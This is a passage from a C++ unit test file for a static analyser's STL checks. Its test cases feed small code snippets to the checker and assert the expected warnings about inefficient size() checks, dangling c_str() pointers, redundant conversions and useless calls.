fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n 